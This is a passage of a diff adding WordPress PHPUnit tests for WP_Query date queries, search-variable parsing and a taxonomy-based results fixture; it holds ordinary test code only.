+		$p2 = $this->factory->post->create( array( 'post_date' => '2008-03-29 07:17:23',) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'before' => array(
+						'year' => 2008,
+					),
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_before_string() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2007-09-24 07:17:23',) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2008-03-29 07:17:23',) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2008-07-15 07:17:23',) );
+		$p4 = $this->factory->post->create( array( 'post_date' => '2009-06-11 07:17:23',) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'before' => 'May 4th, 2008',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1, $p2 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_after_array() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2009-10-18 10:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2009-12-18 10:42:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2010-06-11 07:17:23', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'after' => array(
+						'year'  => 2009,
+						'month' => 12,
+						'day'   => 31,
+					),
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p3 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	/**
+	 * Specifically tests to make sure values are defaulting to
+	 * their maximum values when being used with "after".
+	 */
+	public function test_date_query_after_array_test_defaulting() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2008-12-18 10:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2009-01-18 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'after' => array(
+						'year' => 2008,
+					),
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_after_string() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2009-12-18 09:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2009-12-18 10:42:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2009-12-19 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'after' => '2009-12-18 10:42:29',
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p3 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_after_string_inclusive() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2009-12-18 09:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2009-12-18 10:42:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2009-12-19 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'after'     => '2009-12-18 10:42:29',
+					'inclusive' => true,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p2, $p3 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 26653
+	 */
+	public function test_date_query_inclusive_between_dates() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2006-12-18 09:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2007-01-18 10:42:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2007-12-19 10:42:29', ) );
+		$p4 = $this->factory->post->create( array( 'post_date' => '2008-12-19 10:42:29', ) );
+		$p5 = $this->factory->post->create( array( 'post_date' => '2009-12-19 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				'after' => array(
+					'year' => 2007,
+					'month' => 1
+				),
+				'before' => array(
+					'year' => 2008,
+					'month' => 12
+				),
+				'inclusive' => true
+			),
+		) );
+
+		$this->assertEquals( array( $p2, $p3, $p4 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_Y() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 13:00:00',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2007-05-07 13:00:00',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008',
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2007',
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), $before_posts );
+		$this->assertEquals( array( $p1 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_Y_inclusive() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 13:00:00',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2007-05-07 13:00:00',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008',
+				'inclusive' => true,
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2007',
+				'inclusive' => true,
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $before_posts );
+		$this->assertEqualSets( array( $p1, $p2 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_Ym() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 13:00:00',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-04-07 13:00:00',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008-05',
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2008-04',
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), $before_posts );
+		$this->assertEquals( array( $p1 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_Ym_inclusive() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 13:00:00',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-04-07 13:00:00',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008-05',
+				'inclusive' => true,
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2008-04',
+				'inclusive' => true,
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $before_posts );
+		$this->assertEqualSets( array( $p1, $p2 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_Ymd() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 13:00:00',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-05-05 13:00:00',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008-05-06',
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2008-05-05',
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), $before_posts );
+		$this->assertEquals( array( $p1 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_Ymd_inclusive() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 13:00:00',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-05-05 13:00:00',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008-05-06',
+				'inclusive' => true,
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2008-05-05',
+				'inclusive' => true,
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $before_posts );
+		$this->assertEqualSets( array( $p1, $p2 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_YmdHi() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:05:00',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:04:00',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008-05-06 14:05',
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2008-05-06 14:04',
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), $before_posts );
+		$this->assertEquals( array( $p1 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_YmdHi_inclusive() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:05:00',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:04:00',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008-05-06 14:05',
+				'inclusive' => true,
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2008-05-06 14:04',
+				'inclusive' => true,
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $before_posts );
+		$this->assertEqualSets( array( $p1, $p2 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_YmdHis() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:05:15',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:05:14',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008-05-06 14:05:15',
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2008-05-06 14:05:14',
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), $before_posts );
+		$this->assertEquals( array( $p1 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_YmdHis_inclusive() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:04:15',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:04:14',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => '2008-05-06 14:04:15',
+				'inclusive' => true,
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => '2008-05-06 14:04:14',
+				'inclusive' => true,
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), $before_posts );
+		$this->assertEqualSets( array( $p1, $p2 ), $after_posts );
+	}
+
+	/**
+	 * @ticket 29908
+	 */
+	public function test_beforeafter_with_date_string_non_parseable() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:05:15',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2008-05-06 14:05:14',
+		) );
+
+		$before_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'before' => 'June 12, 2008',
+			),
+		) );
+
+		$after_posts = $this->_get_query_result( array(
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'date_query' => array(
+				'after' => 'June 12, 2007',
+			),
+		) );
+
+		$this->assertEquals( array( $p1, $p2 ), $before_posts );
+	}
+
+	public function test_date_query_year() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2009-12-19 10:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2010-12-19 10:42:29', ) );
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'year' => 2009,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_month() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2009-12-19 10:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2010-11-19 10:42:29', ) );
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'month' => 12,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_week() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2009-01-02 10:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2010-03-19 10:42:29', ) );
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'week' => 1,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_day() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2009-01-17 10:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2009-01-18 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'day' => 17,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_dayofweek() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2014-10-21 10:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2014-10-20 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'dayofweek' => 3,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 28063
+	 */
+	public function test_date_query_dayofweek_iso() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2014-10-31 10:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2014-10-30 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'dayofweek_iso' => 5,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_hour() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2014-10-21 13:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2014-10-21 12:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'hour' => 13,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_minute() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2014-10-21 10:56:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2014-10-21 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'minute' => 56,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_second() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2014-10-21 10:42:21', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2014-10-21 10:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'second' => 21,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_between_two_times() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2005-12-18 08:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2006-12-18 09:00:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2007-12-18 10:42:29', ) );
+		$p4 = $this->factory->post->create( array( 'post_date' => '2008-12-18 17:00:29', ) );
+		$p5 = $this->factory->post->create( array( 'post_date' => '2009-12-18 18:42:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'hour'    => 9,
+					'minute'  => 0,
+					'compare' => '>=',
+				),
+				array(
+					'hour'    => '17',
+					'minute'  => '0',
+					'compare' => '<=',
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p2, $p3, $p4 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_relation_or() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2006-12-18 14:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2007-01-18 10:42:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2007-12-19 10:34:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'hour' => 14,
+				),
+				array(
+					'minute' => 34,
+				),
+				'relation' => 'OR',
+			),
+		) );
+
+		$this->assertEquals( array( $p1, $p3 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_query_compare_greater_than_or_equal_to() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2006-12-18 13:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2007-01-18 14:34:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2007-12-19 14:37:29', ) );
+		$p4 = $this->factory->post->create( array( 'post_date' => '2007-12-19 15:34:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'hour' => 14,
+					'minute' => 34,
+				),
+				'compare' => '>=',
+			),
+		) );
+
+		$this->assertEquals( array( $p2, $p3, $p4 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	public function test_date_params_monthnum_m_duplicate() {
+		global $wpdb;
+
+		$p1 = $this->factory->post->create( array( 'post_date' => '2006-05-18 13:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2007-09-18 14:34:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2007-01-18 14:34:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				'month' => 5,
+				'monthnum' => 9
+			),
+		) );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+
+		$this->assertContains( "MONTH( $wpdb->posts.post_date ) = 5", $this->q->request );
+		$this->assertNotContains( "MONTH( $wpdb->posts.post_date ) = 9", $this->q->request );
+	}
+
+	public function test_date_params_week_w_duplicate() {
+		global $wpdb;
+
+		$p1 = $this->factory->post->create( array( 'post_date' => '2014-10-01 13:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2014-10-22 14:34:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2014-10-15 14:34:29', ) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				'week' => 43,
+				'w' => 42,
+			),
+		) );
+
+		$this->assertEquals( array( $p2 ), wp_list_pluck( $posts, 'ID' ) );
+
+		$this->assertContains( "WEEK( $wpdb->posts.post_date, 1 ) = 43", $this->q->request );
+		$this->assertNotContains( "WEEK( $wpdb->posts.post_date, 1 ) = 42", $this->q->request );
+	}
+
+	/**
+	 * @ticket 25775
+	 */
+	public function test_date_query_with_taxonomy_join() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2013-04-27 01:01:01',
+		) );
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2013-03-21 01:01:01',
+		) );
+
+		register_taxonomy( 'foo', 'post' );
+		wp_set_object_terms( $p1, 'bar', 'foo' );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				'year' => 2013,
+			),
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'foo',
+					'terms' => array( 'bar' ),
+					'field' => 'name',
+				),
+			),
+		) );
+
+		_unregister_taxonomy( 'foo' );
+
+		$this->assertEquals( array( $p1 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 29822
+	 */
+	public function test_date_query_one_nested_query() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2004-10-01 13:42:29', ) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2004-01-22 14:34:29', ) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '1984-10-15 14:34:29', ) );
+		$p4 = $this->factory->post->create( array( 'post_date' => '1985-10-15 14:34:29', ) );
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				'relation' => 'OR',
+				array(
+					'relation' => 'AND',
+					array(
+						'year' => 2004,
+					),
+					array(
+						'month' => 1,
+					),
+				),
+				array(
+					'year' => 1984,
+				),
+			),
+		) );
+
+		$this->assertEquals( array( $p2, $p3 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 29822
+	 */
+	public function test_date_query_one_nested_query_multiple_columns_relation_and() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2012-03-05 15:30:55',
+		) );
+		$this->update_post_modified( $p1, '2014-11-03 14:43:00' );
+
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2012-05-05 15:30:55',
+		) );
+		$this->update_post_modified( $p2, '2014-10-03 14:43:00' );
+
+		$p3 = $this->factory->post->create( array(
+			'post_date' => '2013-05-05 15:30:55',
+		) );
+		$this->update_post_modified( $p3, '2014-10-03 14:43:00' );
+
+		$p4 = $this->factory->post->create( array(
+			'post_date' => '2012-02-05 15:30:55',
+		) );
+		$this->update_post_modified( $p4, '2012-12-03 14:43:00' );
+
+		$q = new WP_Query( array(
+			'date_query' => array(
+				'relation' => 'AND',
+				array(
+					'column' => 'post_date',
+					array(
+						'year' => 2012,
+					),
+				),
+				array(
+					'column' => 'post_modified',
+					array(
+						'year' => 2014,
+					),
+				),
+			),
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'post_status' => 'publish',
+		) );
+
+		$expected = array( $p1, $p2, );
+
+		$this->assertEqualSets( $expected, $q->posts );
+	}
+
+	/**
+	 * @ticket 29822
+	 */
+	public function test_date_query_nested_query_multiple_columns_mixed_relations() {
+		$p1 = $this->factory->post->create( array(
+			'post_date' => '2012-03-05 15:30:55',
+		) );
+		$this->update_post_modified( $p1, '2014-11-03 14:43:00' );
+
+		$p2 = $this->factory->post->create( array(
+			'post_date' => '2012-05-05 15:30:55',
+		) );
+		$this->update_post_modified( $p2, '2014-10-03 14:43:00' );
+
+		$p3 = $this->factory->post->create( array(
+			'post_date' => '2013-05-05 15:30:55',
+		) );
+		$this->update_post_modified( $p3, '2014-10-03 14:43:00' );
+
+		$p4 = $this->factory->post->create( array(
+			'post_date' => '2012-02-05 15:30:55',
+		) );
+		$this->update_post_modified( $p4, '2012-12-03 14:43:00' );
+
+		$p5 = $this->factory->post->create( array(
+			'post_date' => '2014-02-05 15:30:55',
+		) );
+		$this->update_post_modified( $p5, '2013-12-03 14:43:00' );
+
+		$q = new WP_Query( array(
+			'date_query' => array(
+				'relation' => 'OR',
+				array(
+					'relation' => 'AND',
+					array(
+						'column' => 'post_date',
+						array(
+							'day' => 05,
+						),
+					),
+					array(
+						'column' => 'post_date',
+						array(
+							'before' => array(
+								'year' => 2012,
+								'month' => 4,
+							),
+						),
+					),
+				),
+				array(
+					'column' => 'post_modified',
+					array(
+						'month' => 12,
+					),
+				),
+			),
+			'fields' => 'ids',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+			'post_status' => 'publish',
+		) );
+
+		$expected = array( $p1, $p4, $p5, );
+		$this->assertEqualSets( $expected, $q->posts );
+	}
+
+	/** Helpers **********************************************************/
+
+	/**
+	 * There's no way to change post_modified through the API.
+	 */
+	protected function update_post_modified( $post_id, $date ) {
+		global $wpdb;
+		return $wpdb->update(
+			$wpdb->posts,
+			array(
+				'post_modified' => $date,
+				'post_modified_gmt' => $date,
+			),
+			array(
+				'ID' => $post_id,
+			),
+			array(
+				'%s',
+				'%s',
+			),
+			array(
+				'%d',
+			)
+		);
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/parseQuery.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/parseQuery.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/parseQuery.php	(revision 33402)
@@ -0,0 +1,54 @@
+<?php
+
+/**
+ * @group query
+ */
+class Tests_Query_ParseQuery extends WP_UnitTestCase {
+	/**
+	 * @ticket 29736
+	 */
+	public function test_parse_query_s_array() {
+		$q = new WP_Query();
+		$q->parse_query( array(
+			's' => array( 'foo' ),
+		) );
+
+		$this->assertSame( '', $q->query_vars['s'] );
+	}
+
+	public function test_parse_query_s_string() {
+		$q = new WP_Query();
+		$q->parse_query( array(
+			's' => 'foo',
+		) );
+
+		$this->assertSame( 'foo', $q->query_vars['s'] );
+	}
+
+	public function test_parse_query_s_float() {
+		$q = new WP_Query();
+		$q->parse_query( array(
+			's' => 3.5,
+		) );
+
+		$this->assertSame( 3.5, $q->query_vars['s'] );
+	}
+
+	public function test_parse_query_s_int() {
+		$q = new WP_Query();
+		$q->parse_query( array(
+			's' => 3,
+		) );
+
+		$this->assertSame( 3, $q->query_vars['s'] );
+	}
+
+	public function test_parse_query_s_bool() {
+		$q = new WP_Query();
+		$q->parse_query( array(
+			's' => true,
+		) );
+
+		$this->assertSame( true, $q->query_vars['s'] );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/results.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/results.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/results.php	(revision 33402)
@@ -0,0 +1,699 @@
+<?php
+
+/**
+ *
+ * Test various query vars and make sure the WP_Query class selects the correct posts.
+ * We're testing against a known data set, so we can check that specific posts are included in the output.
+ *
+ * @group query
+ */
+class Tests_Query_Results extends WP_UnitTestCase {
+	protected $q;
+
+	static $cat_ids = array();
+	static $tag_ids = array();
+	static $post_ids = array();
+
+	static $parent_one;
+	static $parent_two;
+	static $parent_three;
+	static $child_one;
+	static $child_two;
+	static $child_three;
+	static $child_four;
+
+	public static function setUpBeforeClass() {
+		$factory = new WP_UnitTest_Factory;
+
+		self::$cat_ids[] = $cat_a = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-a' ) );
+		self::$cat_ids[] = $cat_b = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-b' ) );
+		self::$cat_ids[] = $cat_c = $factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-c' ) );
+
+		self::$tag_ids[] = $tag_a = $factory->term->create( array( 'taxonomy' => 'post_tag', 'name' => 'tag-a' ) );
+		self::$tag_ids[] = $tag_b = $factory->term->create( array( 'taxonomy' => 'post_tag', 'name' => 'tag-b' ) );
+		self::$tag_ids[] = $tag_c = $factory->term->create( array( 'taxonomy' => 'post_tag', 'name' => 'tag-c' ) );
+		self::$tag_ids[] = $tag_nun = $factory->term->create( array( 'taxonomy' => 'post_tag', 'name' => 'tag-נ' ) );
+
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'tag-נ', 'tags_input' => array( 'tag-נ' ), 'post_date' => '2008-11-01 00:00:00' ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'cats-a-b-c', 'post_date' => '2008-12-01 00:00:00', 'post_category' => array( $cat_a, $cat_b, $cat_c ) ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'cats-a-and-b', 'post_date' => '2009-01-01 00:00:00', 'post_category' => array( $cat_a, $cat_b ) ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'cats-b-and-c', 'post_date' => '2009-02-01 00:00:00', 'post_category' => array( $cat_b, $cat_c ) ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'cats-a-and-c', 'post_date' => '2009-03-01 00:00:00', 'post_category' => array( $cat_a, $cat_c ) ) );
+		self::$post_ids[] = $factory->post->create( array( 'post_title' => 'cat-a', 'post_date' => '2009-04-01 00:00:00', 'post_category' => array( $cat_a ) ) );
